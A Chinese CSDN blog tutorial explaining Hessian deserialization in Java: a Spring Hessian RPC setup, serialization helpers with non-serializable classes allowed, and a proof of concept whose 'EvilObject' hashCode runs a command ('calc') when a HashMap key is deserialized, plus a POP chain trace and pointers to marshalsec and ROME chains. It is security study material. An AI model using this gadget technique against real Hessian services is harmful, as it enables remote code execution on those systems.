『Java安全』反序列化-浅析Hessian反序列化POP链

前言

总结自https://javasec.org/java-vuls/Hessian.html

pom.xml

8u111 + Hessian4.0.38

        <!-- https://mvnrepository.com/artifact/com.caucho/hessian -->
        <dependency>
            <groupId>com.caucho</groupId>
            <artifactId>hessian</artifactId>
            <version>4.0.38</version>
        </dependency>

Spring联动Hessian使用

Server端

都是RPC协议,类似rmi,服务需要写接口和接口实现类,然后对外暴露URL

服务接口

package com.example.hessianspring.server;

public interface MyService {
    String hello(String str);
}

服务实现类

实现类需要继承HessianServlet

package com.example.hessianspring.server;

import com.caucho.hessian.server.HessianServlet;

public class MyServiceImpl extends HessianServlet implements MyService {

    @Override
    public String hello(String str) {
        return "hello! " + str;
    }
}

SpringApp

SpringApp启动添加一个bean,注册服务、绑定URL,这里用到HessianServiceExporter

package com.example.hessianspring.server;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.Bean;
import org.springframework.remoting.caucho.HessianServiceExporter;

@SpringBootApplication
public class HessianSpringApplication {

    public static void main(String[] args) {
        SpringApplication.run(HessianSpringApplication.class, args);
    }

    @Bean(name = "/hessian")
    public HessianServiceExporter serviceExporter(){
        HessianServiceExporter exporter = new HessianServiceExporter();
        exporter.setService(new MyServiceImpl());
        exporter.setServiceInterface(MyService.class);
        return exporter;
    }
}

(该类已被弃用
.
在这里插入图片描述

Client端

新建HessianProxyFactory代理工厂,然后调用create在client代理实例化出服务类,就能调用方法了

package com.example.hessianspring.client;

import com.caucho.hessian.client.HessianProxyFactory;
import com.example.hessianspring.server.MyService;

public class Client {
    public static void main(String[] args) throws Exception {
        String url = "http://127.0.0.1:8080/hessian";

        HessianProxyFactory factory = new HessianProxyFactory();
        MyService myService = (MyService) factory.create(MyService.class, url);
        System.out.println(myService.hello("hahaha"));
    }
}

手动序列化和反序列化

Hessian提供了方法可以完成最简单的序列化和反序列化功能,自行封装方法,下面采用Hessian2Output

给Hessian2Output传入一个输出流,然后调用writeObject方法会把对象写入到输出流中,最后转换成bytes字节流即可

package com.example.hessianspring.utils;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;

public class SerializableUtil {

    public static byte[] manualSerialize(Object obj){
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output output = new Hessian2Output(baos);
        byte[] bytes = null;

        try {
            output.writeObject(obj);
            output.flush();
            bytes = baos.toByteArray();
        }catch (Exception e){
            e.printStackTrace();
        }
        return bytes;
    }

    public static Object manualUnserialize(byte[] bytes){
        Object obj = null;
        try {
            ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
            Hessian2Input input = new Hessian2Input(bais);
            obj = input.readObject();
        }catch (Exception e){
            e.printStackTrace();
        }
        return obj;
    }
}

能序列化的类

在序列化的时候,Hessian支持实现Serializable接口的类,如果没有实现Serializable则抛错
在这里插入图片描述

序列化没有实现Serializable的类

上一步抛错只是在序列化的时候,而反序列化的时候没有,同时也有参数_isAllowNonSerializable开启就能序列化没有实现Serializable的类

在这里插入图片描述
需要序列化恶意对象时,就可以在Hessian2Output类打开这个参数从而实现序列化所有类了,无需反射,直接Hessian2Output自带方法可以修改

在这里插入图片描述
测试成功序列化

package com.example.hessianspring.test;

import com.example.hessianspring.utils.NonSerializableUtil;

public class NonSerializableTest {
    public static void main(String[] args){
        try {
            NonSerialize n = new NonSerialize("a");
            byte[] serialize = NonSerializableUtil.manualSerialize(n);
            NonSerialize obj = (NonSerialize)NonSerializableUtil.manualUnserialize(serialize);
            System.out.println(obj.a);
        } catch (Exception e) {
            e.printStackTrace();
        }

    }
}

class NonSerialize{
    String a;

    public NonSerialize(String a) {
        this.a = a;
    }
}

反序列化漏洞原理

在反序列化时,会通过标志位判断对象的类型,然后调用对应类的反序列化器

对应方法在SerializerFactory.loadDeserializer()

在这里插入图片描述

对于Map类:会调用反序列化器的readMap方法进行反序列化操作,默认反序列化出来的是HashMap类

在这里插入图片描述
具体会调用到Map的put方法写入键值对

在这里插入图片描述
HashMap的put方法就会调用键自身的hashCode方法来判断是否有重复,进而就造成了漏洞风险,这里不再赘述

对于TreeMap还有equals和compareTo方法可以触发

触发点总结

  • Map类的键
  • 入口hashCode/equals/compareTo

另外就是不能有transient修饰的属性,不会序列化

测试demo

工具类

package com.example.hessianspring.utils;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;

public class NonSerializableUtil {

    public static byte[] manualSerialize(Object obj){
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output output = new Hessian2Output(baos);
        byte[] bytes = null;

        try {
            output.getSerializerFactory().setAllowNonSerializable(true);
            output.writeObject(obj);
            output.flush();
            bytes = baos.toByteArray();
        }catch (Exception e){
            e.printStackTrace();
        }
        return bytes;
    }

    public static Object manualUnserialize(byte[] bytes){
        Object obj = null;
        try {
            ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
            Hessian2Input input = new Hessian2Input(bais);
            obj = input.readObject();
        }catch (Exception e){
            e.printStackTrace();
        }
        return obj;
    }
}

主类

重写个hashCode测试一下

package com.example.hessianspring.test;

import com.example.hessianspring.utils.NonSerializableUtil;

import java.io.IOException;
import java.util.HashMap;
import java.util.Map;

public class ManualRCETest {
    public static void main(String[] args){
        Map map = new HashMap();
        map.put(new EvilObject(), 1);
        byte[] b = NonSerializableUtil.manualSerialize(map);
        NonSerializableUtil.manualUnserialize(b);
    }
}

class EvilObject {
    @Override
    public int hashCode() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }

        return 0;
    }
}

在这里插入图片描述

POP链

hashCode:22, EvilObject (com.example.hessianspring.test)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:538, SerializerFactory (com.caucho.hessian.io)
readObject:2110, Hessian2Input (com.caucho.hessian.io)

marshalsec利用链

五条,具体看marshalsec源码

在这里插入图片描述

ROME二次反序列化

hfctf2022-ezchain,ROME1.7不出网,根据y4师傅的研究可以用java/security/SignedObject.java来完成二次反序列化

参考

marshalsec.pdf
https://javasec.org/java-vuls/Hessian.html

欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://ho1aas.blog.csdn.net/article/details/125925629
版权声明:本文为原创,转载时须注明出处及本声明

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值